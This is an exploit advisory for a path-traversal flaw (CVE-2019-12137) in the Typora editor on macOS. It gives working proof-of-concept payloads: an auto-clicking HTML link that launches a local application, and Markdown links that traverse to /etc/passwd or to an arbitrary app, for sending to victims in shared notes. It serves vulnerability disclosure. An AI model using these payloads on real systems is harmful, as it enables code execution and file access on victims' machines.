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Typora 0.9.9.24.6 - Directory Traversal

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# Exploit Title: Code execution via path traversal
# Date: 17-05-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://typora.io
# Software Link: https://typora.io/download/Typora.dmg
# Version: 0.9.9.24.6
# Tested on: macOS Mojave v10.14.4
# CVE: CVE-2019-12137
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12137
# https://github.com/typora/typora-issues/issues/2505

Summary:
Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of
arbitrary programs, via a file:/// or ../ substring in a shared note via
abusing URI schemes.

Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
(../../../../something.app).

Since, Typro also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes to the
victim to perform any further attack.

Simple exploit code would be:

<body>
<a href="file:\\\Applications\Calculator.app" id=inputzero>
  <img src="someimage.jpeg" alt="inputzero" width="104" height="142">
</a>
<script>
(function download() {
    document.getElementById('inputzero').click();
})()
</script>
</body>




And alt would be:

```
[Hello World](file:///../../../../etc/passwd)
[Hello World](file:///../../../../something.app)
```
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